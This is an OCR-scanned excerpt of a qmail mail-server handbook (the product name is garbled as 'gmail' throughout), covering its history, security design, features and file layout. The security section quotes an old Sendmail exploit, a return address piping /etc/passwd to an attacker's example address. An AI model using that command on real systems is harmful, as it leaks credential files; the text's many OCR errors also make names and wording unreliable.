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Back Cover

»  Providesthorough ingruction for ingtaling, configuring, and optimizing gmail

Includes coverage of secure networking, troubleshooting issues, and mailing list administration

» Coverswhat system administrators want to know by concentrating on gmail issuesrelevant to daily
operation

* Includesingtructions on how to filter spam before it reachesthe client

The gmail Handbook will guide sysem and mail adminigtrators of dl skill levesthrough ingdling, configuring, and
maintaining the gmail server. Author Dave Sill, along-time gmail user and system adminigtrator, aswell asthe author

of the popular onlinetutorid Lifewith gmail, exposesreadersto al practica aspects of working with this popular
mail server.

This definitive guide begins with adiscusson of gmail s history, architecture, and features and then goesinto a
through investigation of the ingtdlation and configuration process. Readerswill learn how to ingal gmail on severd
operaing systems and gain valuable ingght into proper configuration, testing procedures, and performance tuning, al
of which areintegrd to a properly functioning production environment mail server. Readerswill dso learn how to
adminigter usersand mail, ingal filters, and oversee daily gmail operation and maintenance. Throughout, Sill focuses
on topics essentid to dl mail administrators, eaborating upon such subjects as configuring mailing list managers,
controlling spam, secure networking, scanning for viruses, hosting virtual domains and users, and creeting did-up
clients.

The gmail Handbook isthe ultimate resource for administrators and devel opers needing to master the functionality
of the powerful gmail software.

About the Author

Dave Sill isaprofessiond system administrator and technica support engineer with more than 15 years experience.
He sbeen usng gmail service sinceitsfirgt public releasein 1996 and is the author of the popular online gmail guide
Lifewith gmail. He sdso an active contributor to online gmail support groups, including the gmail mailing list and
Usenet newsgroup.
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| ntroduction

This book documents how to ingtal, configure, and use gmail. It will be most beneficid to system, network, and mall
adminigtrators, but it will also be hel pful to userswho want to read and send e-mail more effectively.

What Can Y ou Expect to Learn from This Book?

Y ou can expect to learn thefollowing:
What gmail is, what it can do, and what it can't do

How toingtal and configure abasic gmail server, including various support utilities

How to use gmail asaregular user: controlling the digposition of incoming messages, formatting outgoing
messages, and working with mailboxesin multiple formats

How to manage agmail server: setting up diases, users, virtua domains, and mailing lists; troubleshooting;
performance tuning; and controlling junk mail and other abuse

How gmail works. not just what it does, but how it doesit
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Organization

Chapter 1, "Introducing gmail," describes gmail and itsfeatures. Read it if you're not sure exactly what gmail isor
what it can do for you. It aso describesthe overal organization of the gmail suite, compares gmail to other Unix
mailers, and lists other sources of gmail information and support.

Chapter 2, "Ingaling gmail," describes step-by-step the ingtalation of gmail on awide range of operating system
digributions, including commercid Unix variants, Linux, and various Berkdley Software Digtributions (BSDs).

Chapter 3, "Configuring gmail: The Basics," shows how to configure gmail for avariety of basic functions.
Chapter 4, "Using gmail," covers how users read and send messages.
Chapter 5," Managing gmall," coversthe gmailctl script, queue management, and adminisirative commands.

Chapter 6, "Troubleshooting gmail," shows how to monitor the gmail processes, understand the log files, andlyze
message headers, conduct tests, and diagnose common problems.

Chapter 7, "Configuring gmail: Advanced Options" shows how to configure gmail for avariety of typica
configurations, migrate Sendmail systemsto gmail, and use source-code modifications. It aso shows how to usethe
QMTP and QM QP protocoals, enable secure networking, and improve the performance of your gmail system.

Chapter 8, "Controlling Junk Mail," covers methods for dedling with unwanted mail at both the system and user levels.

Chapter 9, "Managing Malling Ligts" detailsingaling and using three popular mailing list managerswith gmail: ezmim,
Maordomo, and Mailman.

Chapter 10, "Serving Mailboxes," shows how to provide remote access to users mailboxes viathe POP3 and IMAP
protocols.

Chapter 11, "Hogting Virtuad Domainsand Users," coverstwo popular gmail add-ons for managing virtual domains
and virtud users VmailMgr and Vpopmail.

Chapter 12, "Understanding Advanced Topics," explainsfrom agmail perspective some advanced topics such as
scdable server "farms,” ng user information viaLDAP or SQL, and the V ariable Envelope Return Path
(VERP) mechanism that gmail usesfor reliable automatic bounce handling.



The appendices cover:

How gmail works

Related packages

How Internet mail works

gmail'sfegtures

Error messages

Gotchas
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Audience

Thisbook isamed a anyone interested in running gmail, from the rank amateur (newbie) who just ingtalled Linux on
agpare computer dl theway up to the experienced system administrator or mail administrator.

However, ingalling, configuring, and maintaining amailer isacomplex task. If you're not an experienced system
adminigtrator, you probably shouldn't attempt to switch an existing mail system with thousands of usersto gmail until
you're comfortable with usng and managing Unix systems.

If you're acomplete Unix/Linux newbie, you should start with agood introduction to Unix for users such as The
Unix Operating System by Kaare Christian. While you're reading that book, experiment on your own system. Until
you actudly do the tasks you've read about, you won't redlly understand what you're doing and you'll probably forget
most of it before you redly need it.

If you're an experienced Unix/Linux user, but you're not familiar with system administration, many good books are
available. The best is probably Unix System Administration Handbook by Nemeth, et d., which covers most of
the common Unix variants, including Solaris, HP-UX, Red Hat Linux, and FreeBSD. If possible, select one specific
to the variant of Unix or Linux that you'll be using. Although dl flavors of Unix look pretty Smilar to users, they differ
subgtantidly in the details of systern adminigtration.
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Conventions

Thisbook uses certain typographica conventionsto help convey information clearly and concisely.
Double quotes (") are used to indicate an unusua meaning for acommon word, such as "bounce.”

Italics are used to introduce new terms, like injection, or smply for emphasis. Italics are dso used to indicate
variables, like/user/ for auser name or /concurrencylocal / for aconfiguration setting.

Text that appearsin afixed-width typeface, such as gmail-send or <kayle gh@example.com>, represents afilename,
command name, username, e-mail address, domain name, code sample, or Uniform Resource Locator (URL).

A directive to run asingle command that should not produce any output lookslike:

touch . gmail

If acommand must be performed by the superuser (UID 0), the hash (#) shell prompt is used:

# touch /var/qgmail/alias/.qmil-root

If acommand should be performed by anon-privileged user, the dollar sign ($) shell prompt is used:

$ touch .qmail

If an example mixes user input and command output, user input is printed in bold:

$ date
Sat May 5 07:06:49 EDT 2001
$

Note
Examplesthat include output end with a
line conssting soldly of the shell prompt
($) to show that the output included is
complete.
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Web Site

For the latest information on errata or to download the scripts used in Chapter 2, visit the book's Web site at
http://www.apress.com
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Chapter 1. Introducing gmail

Highlights

Andy wants to send an e-mail message to hisfriend Josh. He opens hismail client, clicks on New Mail, enters Josh's
addressinthe Tofidd, fillsin the Subject field with ashort description of the message, and types the message into the
large editing area of the form. When he's done, he clicks on the Send button. Asfar as he's concerned, the message
Issent, but behind the scenes, complicated machinery whirsto life. A thousand tiny stepswill be executed on Andy's
behaf by processes on various systems between Andy and Josh who could be in the same room or haf aworld

avay.

The Internet Message Transfer Agent (MTA) isthe key player in the behind-the-scenes e-mail infrastructureit'sthe
meachinery that moves e-mail from the sender's system to the recipient's system.

Before the Internet explosion in the early 1990s, one MTA, Sendmail, was responsible for delivering dmost dl of the
mail. But Sendmail was designed for an Internet unlike the modern Internet. At the time Sendmail was created, there
were only ahandful of systems on the entire Internet, and most of the people online knew each other. It wasa
friendly, cooperative community that consisted mostly of the people who wrote the software that made the Internet
work or managed the hardware that it connected. Security was not amajor concern: There was not much that
needed protection, and there were few potentia "bad guys' from which to be protected.

The modern Internet isvery different. It's millions of timeslarger, so knowing al the other administrators and usersis
impossible. Infact, it's accessible by anyone with accessto apublic library. Billions of dollarsin busnessand
consumer commerce takes place annualy over the Internet. Large corporations exist whose entire business model
relieson their Internet presence. As such, the stakes are high, and it'sno longer possible to treat security casudly. On
top of dl this, servers are being subjected to staggering loads atypica mail server today might send more messages
in one day than amail server ten years ago sent in one year.

The Sendmail developers have worked hard over the years to enhance its security and performance, but theré's only
so much that can be done without afundamenta redesign. In 1995, Daniel J. Berngtein, then a mathematics graduate
sudent a the University of California, Berkeley, began designing and implementing an MTA for the modern Internet:
gmall.

While Sendmail is one huge, complex program that performsits various functions as the superuser (the al-powerful
Unix root account), gmail isasuite of small, focused programsthat run under different accounts and don't trust each
other'sinput to be correct.



While Sendmail plodsthrough alist of recipients ddlivering one message at atime, gmail spawns twenty or more
deliveries a atime. And because gmail's processes are much smaller than Sendmail's, it can do more work faster,
with fewer system resources. Further, Sendmail can lose messagesin some of its delivery modesif the system
crashes a the wrong time. For reiability, speed, and smplicity, gmail has one crash-proof delivery mode.
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Overview
This chapter introduces the concept of the MTA and discusses one particular MTA, gmail:
Firg, well examinetherole of the MTA inthe Internet emall infrastructure.

Next, well look at gmail what it does and why you might want to useit.

gmail's main design goals were security, reliability, performance, and smplicity. Well see how gmail's crestor
was able to achieve these goals.

Well dso compare gmail to other popular Unix MTAS such as Sendmail, Postfix, Courier, and Exim.

Next, well look at gmail's features, history, architecture, and distribution license.

Finaly, well list various sources of information on gmail such as documentation, Web sites, and mailing-list
archives. Well aso cover gmail support channds: mailing lists and hired consultants.
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What Isgmail?

gmail isan Internet MTA for Unix and Unix-like operating sysems. An MTA'sfunction istwofold: to accept new
messages from users and ddliver them to the recipient's systems, and to accept messages from other systems, usualy
intended for local users.

Usersdon't usudly interact directly with MTAS; they use Mail User Agents (MUAS) the familiar mail programs such
as Outlook Express, Eudora, Pine, or Multt that users run on their desktop systems. Figure 1-1 showshow dl of
these agents interact with each other.

Sender”s
MTA

Recipients”s
MU

Eecipient’s
MTA

Figure 1-1: How the sender, recipient, MUA, and MTA interact

gmail isadrop-in replacement for the Sendmail system provided with most Unix operating systems. What that means
isthat the user of asystem will not necessarily notice a switch from Sendmail, or some other MTA, to gmail. This
does not mean that the system administrator won't see adifference. Although al MTAS perform the same functions,
they differ widely iningalation, configuration, and functiondity. Don't assume that your ability to manage Sendmail
will let you get up to speed quickly with gmall: It won't. In fact, detailed knowledge of another MTA might even dow
you down because you'll be unlearning that system in addition to learning gmail.
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Why Use gmail?

Y our operating system included an MTA, probably Sendmail, so if you're reading this book you're probably looking
for something better. Some of the advantages of gmail over bundled MTAs include security, performance, rdiability,
and smplicity.

Security

gmail was designed with high security asagod. Sendmail hasalong history of serious security problems. When
Sendmail was written, the Internet was amuch friendlier place. Everyone knew everyone dse, and there wasllittle
need to design and code for high security. Today's Internet is amuch more hostile environment for network servers.

gmail creator Bernstein is so confident that gmail is secure that he guaranteesit. In his guarantee (
http://cr.yp.to/gmail/guarantee.html/), he even offers $500 to the first person who can find a security bug in gmail. He
first made this offer in March of 1997, and the money remains unclaimed.

gmail's secure design stems from seven rules, discussed in the following sections.

Programs and Files Are Not Addresses, So Don't Treat Them as Addresses

Sendmail blurred the distinction between addresses (users or diases) and the disposition of messages sent to those
addresses usualy mailbox files or mail-processing programs. Of course, Sendmail triesto limit which filesand
programs can be written to, but severd serious security vulnerabilities have resulted from falluresin this mechanism.
One smple exploit consisted of sending a message to a nonexistent user on a Sendmail system with areturn address
of:

"|/bin/mail attacker @adguys. exanpl e.com < /et c/passwd”

Thiswould cause Sendmail to generate a bounce message and attempt to send it to the return address. In this case,
the return address was a command that mailed a copy of the victim's password file to the attacker.

In gmail, addresses are clearly distinguished from programs and files. It's not possible to specify acommand or
filename where gmail expects an address and have gmail deliver to it.

Do asLittle as Possible in setuid Programs


http://cr.yp.to/qmail/guarantee.html/
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The Unix setuid() mechanism is clever and useful. It dlows aprogram run by one user to temporarily assumethe
identity of another user. It'susudly used to allow regular usersto gain higher privileges to execute specific tasks.

Tip
Check out the man pagesfor more
information about setuid(). The
command man setuid should display
the setuid() documentation.

That's the good news about setuid(). The bad newsisthat it's hard to write secure and portable setuid() programs.
What makesit hard to secure setuid() programsisthat they run an environment specified by the user. The user
controlsthe settings of environment variables, resource limits, command-line arguments, sgnds, file descriptors, and
more. In fact, thelist is open-ended because new operating system releases can add controlsthat didn't exist before.
Andit'sdifficult for programmersto defend against featuresthat don't yet exist.

In gmail, theré's only one module that uses setuid(): gmail-queue. Itsfunction isto accept anew mail message and
placeit into the queue of unsent messages. To do this, it assumesthe identity of the specid user ID (UID) that owns
the queue.

Do as Little as Possible as Root

The superuser, any user account with the UID 0 (zero), has essentidly unlimited access to the system on most Unix
operating systems. By limiting the usage of the root UID to the small set of tasksthat can only be done asroot, gmall
minimizesthe potentid for abuse.

Two gmail modules run asroot: gmail-start and gmail-Ispawn. gmail-start needs root access to start gmail-Ispawn as
root, and gmail-lspawn needs to run asroot so it can start gmail-local processes under the UID of local users
accepting ddlivery of messages. (The " Architecture” section of this chapter coversthesein more detail.)

M ove Separ ate Functionsinto Mutually Untrusting Programs

MTAs perform arange of relatively independent tasks. Some M TAs such as Sendmail are monolithic, meaning they
congst of asingle program that contains al the code to implement all of these tasks. A security problem such asa
buffer overflow in one of these functions can alow an attacker to take control of the entire program.

gmail uses separate programs that run under a set of gmail-specific UIDs, compartmentaizing their access. These
programs are designed to mistrust input from each other. In other words, they don't blindly do what they'retold: They
vaidate their inputs before operating on them.

Compromising asingle component of gmail doesn't grant the intruder control over the entire system.

Don't Parse



Parsing isthe conversion of human-readable specifications into machine-readable form. It's acomplex, error-prone
process, and attackers can sometimes exploit bugsin parsing code to gain unauthorized access or control.

gmail's modules communicate with each other using smple data structures that don't require parsing. Modules that do
parse are isolated and run with user-leve privileges.

Keep It Smple, Stupid

Asagenerd rule, smaler codeis more secure. All other things being equd, there will be more bugsin 100,000 lines
of codethan in 10,000 lines of code. Likewise, code loaded with lots of built-in features will have more bugs than
clean, smple, modular code.

gmail'smodular architecture in addition to compartmentalizing access facilitates the addition of feaetures by plugging in
interposing modules rather than by complicating the core code.

Write Bug-Free Code

Who would intentiondly write buggy code? Nobody would, of course. But programmers are human and naturaly
lazy. If therésalibrary function available to perform a particular task, they usudly won't write their own code to do
the samething.

Avallableto C programmersisalarge st of library functions cdled the standard C library or the C runtime library.
Thislibrary containslots of useful functions for manipulating character strings, performing input and output, and
manipulating dates and times. Unfortunately, many implementations of thislibrary areinsecure. They were not
designed with security in mind, and they have not been audited to identify and correct problems.

Towork around the variable qudlity of C library implementations and ensure safe and consistent behavior on dl
platforms, gmall includesitsown 1/0 and string libraries.

Perfor mance

If Sendmail is asked to deliver amessage to 2,000 recipients, thefirst thing it will do islook up the mail exchanger
(MX) for each recipient in the Domain Name System (DNS), the distributed database of Internet host names. Next it
will sort thelist of recipients by their MX. Findly, it will sequentially connect to each MX onthelist and ddliver a
copy of the message addressed to recipients at that MX. Because the DNS is distributed, lookups can take
anywhere from less than a second up to the system's timeout usudly at least five seconds. It's not unusud for this
stage of the delivery to take 15 minutes or more.

If gmail isasked to deliver the same message to the same 2,000 recipients, it will immediately spawn multiple copies
of the gmail-remote and gmail-local programs up to 20 of each by default which will start delivering the messages
right away. Of course, each of these processes has to do the same M X lookups that Sendmail does, but because
gmail does it with multiple processes, it wastes much lesstime. Also, because gmail doesn't haveto wait for dl of the



lookupsto complete, it can Sart ddlivering much sooner. The result isthat gmail is often done before Sendmail sends
thefirst message.

Y ou can get Sendmail to use multiple processes to send messages, such as by splitting the ddivery into smaller
pieces and handing each off to adifferent Sendmail process. Future versions of Sendmail may eveninclude such a
feature. However, because of gmail's modular design, it's ableto pardldize ddivery much more efficiently: Each
gmail-remote or gmail-local processisafraction of the Size of a Sendmail process.

Reliability

Once gmail accepts amessage, it guaranteesthat it won't belost. Bernstein callsthis a " straight-paper-path
philosophy," referring to printer designsthat avoid bending pages as they pass through the printer to minimize
jamming. Ingmail it refersto the smple, well-defined, carefully designed route that messages take through the
system. Even if the system loses power with undelivered messagesin the queue, once power isrestored and the
sysem isrestarted, gmail will pick up whereit Ieft off without losing asingle message. gmail guaranteesthat onceit
accepts amessage, it won't be lost, barring catastrophic hardware failure.

gmail aso supports anew mailbox format called maildir that works reliably without locking even over Network File
System (NFS) and even with multiple NFS clients delivering to the same mailbox. And, like the queue, maildirsare
"crash proof."

All of thisiswell and good, you might say, but how rdliableisgmail in practice? In thefive yearssinceitsrelease,
there have been no confirmed reports on the gmail mailing list of messages|ost by gmail. There have aso been no
bugs discovered that cause any of the gmail daemonsto die prematurely. That saysagreat ded about the reliability
designed into the program and the quaity of the code that implements that design.

Simplicity

gmail ismuch smdler than any other full-festured MTA. Thisis because of three characteridtics: itsclever design, its
carefully selected set of features, and its efficient implementation in code. Table 1-1 compares gmail's Size to other
MTAs.

Table 1-1: Size Comparison of Unix MTAS

MTA VERSION SIZE (INBYTES)
Sendmall 8.11.3 303212
Posifix 20010228-pl02 240370

Exim 3.22 302236




Courier 0.33.0 668945

gmall 1.03 80025

The size of esch MTA was calculated by extracting only the codefiles (filesending in .c, .C, or .h), stripping dl
comments and unnecessary white space (paces, tabs, and blank lines), bundling them into asingle tar file, and
compressing the resultant tar file with gzip to compensate for variationsin the lengths of variable, function, and
filenames.

Thisisnot acompletely fair comparison because these systems don't implement identical sets of features. Courier, for
example, includesan IMAP server, aPOP3 server, aWeb mail interface, afiltering Message Ddlivery Agent
(MDA), amailing-list manager, and more. gmail, although it's the smallest, includes a POP3 server.

Clean Design

Most MTAs have separate forwarding, diasing, and mailing-list mechanisms. gmail doesal three with onesmple
mechanism that aso dlowsfor user-defined aliases, user-managed mailing lists, and user-managed virtua domains.

Sendmail has arange of delivery modes:. interactive, background, queue, and defer, some of which trade reliability for
performance. gmail only has one ddlivery mode: queued, which is optimized for reliability and performance.

Sendmail has complex logic built-in to implement system load limits. gmail limitsthe systlem load by limiting the
number of modulesit dlowsto run, which ismuch smpler and morerdigble.

Frugal Feature Set

The modular architecture of gmail makesit possible to add features to the core functiondity by re-implementing
modules or adding new interposing modul es between existing modules. Thisalows gmail to remain lean and smple
while dtill providing amechanism for the addition of new features by programmers and system administrators.

Efficient Coding

Not al programmers are equally capable of writing secure, reliable, and efficient code. Berngtein's track record with
gmail and other products such as djbdns (a DNS server), demondtrates his unusua ability to achieve dl three
smultaneoudy and consstently.
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Why Not Use gmail?

gmail has many advantages over other MTAS, but like any solution to acomplex problem, it's not optimized for all
possible scenarios. gmail was designed for well-connected hosts: those with high-speed, ways-on network
connectivity. Although it can be adapted through the use of the seridmail package to perform quite well on systems
with dow or dia-on-demand connections, other MTASs that trade performance for bandwidth efficiency, such as
Postfix, might be better suited for such ingtalations.

Comparing gmail to Other Mailers

Table 1-2 compares gmail to some of the most common Unix MTAS.

Table 1-2: Common Unix MTAS

MTA MATURITY |SECURITY |FEATURES |PERFORMA [SENDMAIL- MODULARI
NCE LIKE TY

gmall Medium High High High Add-ons Yes

Sendmall High Low High Low No

Podtfix Medium High Medium High Yes Yes

Exim Medium Low High Medium Yes No

Courier Low Medium High Medium Optiona Yes

Sendmail-like meansthat the M TA behaveslike Sendmail in some ways that would make a switch from Sendmail to
the dternative MTA more user-transparent, such asthe use of .forward files, /etc/diases, and delivery to
Ivar/spool/mall.

Cameron Laird's Web page compares these and other free and commercial MTAS (
http://starbase.neosoft.com/~claird/comp.mail.misc/MTA _comparison.html).

Sendmail
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For many years, Sendmail (http:/Aww.sendmail.org/) wassmply the Unix MTA. Sure, there were dternatives such
as Smail, ZMailer, and MMDF, but Sendmail was by far the most widely used. The others offered limited
advantages Smail was lightweight, ZMailer was modular and had high performance but every Unix distribution
included Sendmail. It was powerful, mature, and the de facto standard.

By the early to middle 1990s, though, it was showing its age. Therewas along line of well-publicized and frequently
exploited security holes, many of which resulted in remote attackers obtaining root access to the system. The
booming popularity of the Internet was driving up the rate of mail deliveries beyond Sendmail's capabilities. And
athough Sendmall is configurable, its configuration file syntax islegendary. One standard jokeisthat sendmail.cf
entries are indistinguishable to the casud observer from modem line noise strings of random characters.

Sendmail has now gone commercia in addition to the free distribution and continues to be actively maintained and
developed. Sendmail fansliketo point to its recent security track record as evidence of its security, but Sendmail's
do-everything-as-root-in-one-program design isinherently insecure. All the holesin the dike might be plugged at the
moment, but it might be considered imprudent to believe that others won't spring up in the future,

Nothing short of aredesign will bring Sendmail up to modern standards of security, reliability, and efficiency.

Postfix

Wietse Venema, author and coauthor of severa free security-related software packagesincluding TCP Wrappers,
SATAN, and logdaemon wrote Postfix (http:/Amww.postfix.org/) because he wasn't happy with any of the available
Unix MTAsincluding gmail. Postfix isamodern, high-performance MTA that shares many of the design eements of
gmail while aso retaining maximum competibility with Sendmail's user interface.

Compared to gmail, Postfix islarger, more complicated, less secure, lessreliable, and dmost asfast. While Postfix
and gmall are both modular, dl of Postfix's modules run under the same user, So compromising one module could
compromisethe entire system. The goa of competibility with Sendmail's user interface haslimited the extent to which
Venema could innovate and has saddled Postfix with Sendmail baggage like the ill-defined and hard-to-parse
forward file syntax.

Overal, Postfix isagood, solid MTA that can subgtitute well for gmail in most gpplications. If you don't demand the
highest levels of security and performance, you might want to experiment with both and use the one most comfortable
to you.

Courier

Sam Varshavchik, author of the Courier-IMAP daemon often used with gmail, wrote Courier (
http://courier.sourceforge.net/) because he wasn't happy with any of the available Unix MTAsincluding gmail and
Podfix.

Courier isan integrated suite of mail serversthat provide SMTPEESMTP, IMAP, POP3, Web mail, and mailing-list
sarvices. Most MTAs only provide SMTP/ESM TP service. gmail includes a POP3 server. Courier's IMAP server is
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often used with gmail because it supports gmail's maildir mailbox format.

Courier is4ill in betarelease. The author consdersit reliable and essentialy complete, but not fully mature.

Exim

Philip Hazd deveoped Exim (http:/Mmww.exim.org/) at the University of Cambridge. It was intended to be small and
ample, like Smail, but with more features. It has many modern festures, but like Sendmail, is monolithic. Security and
performance were not primary design goas. In many respects, Exim is comparable to Sendmail but isnot nearly as
widdy used.
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gmail Features

gmail isafull-featured MTA. It handlesall of the traditiond functionsof an MTA including SMTP service, SMTP
ddivery, queuing and queue management, loca delivery, and locad messageinjection. It includes a POP3 server and
support for diases, mailing ligts, virtua users, virtuad domains, and forwarding. Following isaquick summary of
gmail'smaor features. A more detailed festurelist is provided in Appendix D, "gmail Features.”

Setup Features

The setup processincludes building, ingaling, and configuring the programsin the gmail suite.

gmail automaticaly adaptsto the sysem it's being built on, so no porting isrequired. During the ingtdlation, gmall
automatically configuresitsalf for basc functiondity. It instals easily and doesn't require | ots of decison-making. It's
configured using asat of ample contral files-not amonalithic, cryptic configuration file,

Security Features

Mail isapublicly accessible service on theloca system and viathe Internet. Because of this, great care must be
taken to ensure that it doesn't open the system to attacks that could compromisetheloca system'sintegrity or alow
damageto or disclosure of files, including mailboxes.

gmail clearly distinguishes between ddliveriesto addresses, files, and programs, which prevents attackers from
overwriting files or executing arbitrary programs. It uses minima setuid() code: only one module, which runs setuid()
to agmail-gpecific UID. It dso usesminimal superuser code: Only two modules run with system privileges. Trust
partitioning using five gmail-specific UIDslimits the damage that could be caused by a security holein one module.
gmail keeps detailed logs of its actions, which can be useful for incident analysis. Complete SMTP didoguesand
copies of all messages sent and received can aso be saved.

M essage Construction

gmail provides utilitiesthat hel p users construct new mail messages that conform to Internet standards and provide
the control that users demand.

gmail includes asendmail command for Sendmail compatibility with scripts and programsthat send mail messages. It
supports long header fiddslimited only by system memory. gmail aso supports host and user masquerading, alowing
local users and hosts to be hidden from the public.



SMTP Service

Asan MTA, one of gmail's primary functionsisto provide SMTP serviceto other MTAsand MUAs.

gmail complieswith the relevant Internet standards and is 8-bit clean, so messages with non-ASCI| characters won't
be rejected or damaged. It detects "looping™ messages by counting delivery hops, and if aiases on two or more hosts
create an infiniteloop, gmail will detect and break the loop. gmail supportsblacklisting” sites known to abuse mall
sarvice. Also, it doesn't dter existing message header fields.

Queue M anagement

Another criticd MTA function is storing and retrying temporarily undeliverable messages. The structure that stores
these messagesis called a queue.

When new messages are placed in the queue, gmail processes them immediately. Each message hasits own retry
schedule, so gmail won't opportunistically bombard along-down host with a huge backlog. As messagesin the queue
age, gmall retriesthem lessfrequently.

To speed the delivery of messages, gmail supports multiple concurrent local and remote ddliveries. Each successful
ddlivery isrecorded to disk to prevent duplicatesin the event of acrash, and the queueis crash proof, so no mail is
logt from the queue. The queueis dso self-cleaning: Partidly injected messages are automatically removed.

Bounces

When messages are undeliverable, either locally or remotely, senders are notified by mail. When amessageis
returned in this manner, it's said to have ""bounced.”

gmail's bounce messages are clear and direct for human recipients, yet easily parsed by bounce-handling programs.
gmail aso supports "doubl€e’ bounces: Unddliverable bounce messages are sent to the postmaster.

Routing by Domain

Contralling the routing of e-mail messages based on the recipient's domain name s often useful and facilitates
complex mail systems and the hogting of multiple domainson asingle server.

gmail supports host name diases. Thelocal host can use multiple names. It aso supports virtua domains. hosted
domains with independent address spaces. Domains can even be "wildcarded,” which meansthat multiple
sub-domains can be handled with a single configuration setting.



gmail even supports, optionaly, Sendmail-style routed addresses such as
molly%email .example.com@isp.example.net, which means "deliver the message to molly@mail.example.com through
igp.example.ne.”

SMTP Delivery

Another primary MTA function isdelivering mail to other MTAsusng SMTP.

gmail's SMTP client complies with the relevant Internet standards and is 8-bit clean, so messages with non-ASCI|
characters can be sent undamaged. It also automaticaly detects unreachable hosts and waits an hour before trying
them again. gmail supports "hard-coded" routesthat alow the mail administrator to override the routes specified in
DNS.

Forwarding and Mailing Lists

Forwarding incoming messages and supporting mailing lists are common M TA functions.

gmail supports Sendmail-style .forward files using the dot-forward package and high-performance forwarding using
the fastforward package. Sendmail /etc/aliases compatibility is aso supported through the fastforward package.

Automatic "-owner" support alowslist ownersto receive the bounces from amailing list, and Variable Envelope
Return Path (VERP) support enables the reliable automatic identification of bad addresses on mailing lists.

Mail administrators and users can use address wildcarding to control the disposition of messagesto multiple
addresses. gmail usesthe Ddlivered-To header field to automatically and efficiently prevent aias "loops.”

L ocal Delivery

gmail supportsawide range of loca delivery options using its built-in Mail Delivery Agent (MDA) and user-specified
MDAs.

Users control their own address space: User lucy has complete control over mail to lucy-anything@domain.

Thebuilt-in MDA, gmail-local, supports the traditional Unix mbox mailbox format for competibility with Mail User
Agents (MUAS) aswel asthe maildir format for reliable delivery without locking, even over NFS. It also supports
ddivery to programs. MDAS, filters, auto-responders, custom scripts, and so on.

POP3 Service



Although it'snot formally aservice provided by MTAS, gmail includes a POP3 server for providing network access
to mailboxes.

The server, gmail-pop3d, complies with the rdlevant Internet standards and supports the optional UIDL and TOP
commands. It uses modular password checking, so dternative authentication methods such as APOP can be used. It
supports and requires use of the maildir mailbox format.
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History

Berngtein, now amath professor at the University of Illinoisin Chicago, created gmail. Berngtein isalso well known
for hiswork inthefield of cryptography and for hislawsuit against the U.S. government regarding the publishing of
encryption source code.

Thefirg public release of gmail, beta version 0.70, occurred on January 24, 1996. The first gammareease, 0.90,
wason August 1, 1996.

Verson 1.0, the first general release, was announced on February 20, 1997. The current version, 1.03, was rel eased
on June 15, 1998.

The next release is expected to be a prerelease of version 2. Some of the features that might appear in verson 2 are
covered on the gmail Web site (http://cr.yp.to/gmail/futurehtml).
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Architecture

This section outlinesthe logica and physica organization of the gmail system.

Modular System Architecture

Internet MTASs perform avariety of tasks. Earlier designs such as Sendmail and Smail are monolithic. They have one
large, complex program that "switches hats." In other words, the program puts on one hat to be an SMTP server,
another to be an SMTP client, another to inject messageslocally, yet another to manage the queue, and so on.

gmail ismodular. A separate program performs each of these functions. Asaresult, the programs are much smdler,
sampler, and lesslikely to contain functiond or security bugs. To further enhance security, gmail's modules run with
different privileges, and they don't trust each other. In other words, they don't assume the other modules dways do
only what they're supposed to do. Table 1-3 describes each of gmail's modules.

Table 1-3: Thegmail Modules

MODULE FUNCTION

gmail-smtpd Acceptsreects messagesviaSMTP

gmail-inject Constructs amessage and queuesit usng gmail-queue
gmail-queue Places amessagein the queue
gmail-rspawn/gmail-remote Handles remote ddliveries

gmail-lspawn/gmail-local Handleslocal ddiveries

gmail-send Processes the queue

gmail-clean Cleansthe queue

However, thereés dso adown sde to the modular approach. Unlike amonolithic MTA, the interactions between
modules are wdl| defined, and modules only exchange the minimum necessary information with each other. Thisis
generally good, but sometimes it makesit hard to perform certain tasks. For example, the Sendmail -v flag causes



Sendmail to print atrace of its actionsto standard output for debugging purposes. Because one Sendmail program
handlesinjection, queuing, aias processing, .forward file processng, and remote forwarding viaSMTP, itisableto
eadly trace the entire delivery. The equivaent capability in gmail doesn't exist and would require substantial code
changes and additiond complexity to implement the passing of the "debug” flag from module to module and the
outputting of the debugging information.

File Structure

Ivarlgmail isthe root of the gmail file structure. Y ou can change thiswhen gmail is being built, but it'sagood ideato
leaveit so other administrators know where to find things. If you really want to relocate some or al of the gmail tree,
it's better to use symbolic links. See Chapter 2, "Ingaling gmail,” for an example of how to dothis. Table 1-4 ligs
thetop-level directories.

Table 1-4: The Top-Levd /var/gmail Directories

DIRECTORY CONTENTS

dias .gmall filesfor sysem-wide diases
bin Program binaries and scripts

boot Startup scripts

control Configuration files

doc Documentation, except man pages
man man pages

queue The queue of unsent messages
users The gmail-users database (optional)




Note
A frequently asked question (FAQ) is
"Why isgmail inddled under /var ?'
The answer, available a the gmail site (
http://cr.yp.to/gmail/fag/install.html#
whyvar), explainsthet /var is
appropriate because mogt of thefiles
under /var/gmail are system-specific.
Chapter 2, "Inddling gmail,” shows
how to relocate branches of the
/var/gmail tree under other parts of the
file system using symboalic links.

Queue Structure

Appendix A, "How gmail Works," discusses the details of queuing more thoroughly, but even if you don't care about
how gmail worksinterndly, you should be familiar with the organization of the queue. Table 1-5 describes the layout
of the queue.

Table 1-5: Queue Subdirectories

SUBDIRECTORY CONTENTS

bounce Permanent delivery errors

info* Envelope sender addresses

intd Envelopes under congtruction by gmail-queue
loca* Loca envelope recipient addresses

lock Lock files

mess* Messagefiles

pid Used by gmail-queue to acquire an inode number
remote* Remote envel ope recipient addresses

todo Complete envelopes
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Note
Directories marked with an asterisk
(*)contain aseries of split
subdirectoriesnamed 0", "1", ..., up to
(confsplit-1), where conf-split isa
compile-time configuration setting
contained in thefile conf-split inthe
build directory. It defaultsto 23. The
purpose of splitting these directoriesis
to reduce the number of filesinasingle
directory on very busy servers.

Files under the mess subdirectory are named after their inode number. What this meansisthat you can't manually
move them using standard Unix utilities like mv, dump/restore, and tar. There are user-contributed utilities on the
Web that will rename queuefiles correctly after they've been moved or restored (http:/mww.gmail.org/).

Caution
Itisnot safeto modify queuefileswhile
gmail isrunning. If you want to modify
the queue, then stop gmall first, ater the
queue carefully, and then restart gmail.
Chapter 5, "Managing gmall," covers
gueue management.

Pictures

Thereisaseriesof filesin /var/gmail/doc with names starting with PIC. These are textud " pictures” of various
stuationsthat gmail handles. They show theflow of control through the various modules and are helpful for
debugging and creating complex configurations. Table 1-6 describesthesefiles.

Table 1-6: PIC Files

FILENAME SCENARIO

PIC.locd2dias Locdly injected message ddlivered to alocal dias

PIC.local 2ext Locdly injected message ddlivered to an extenson
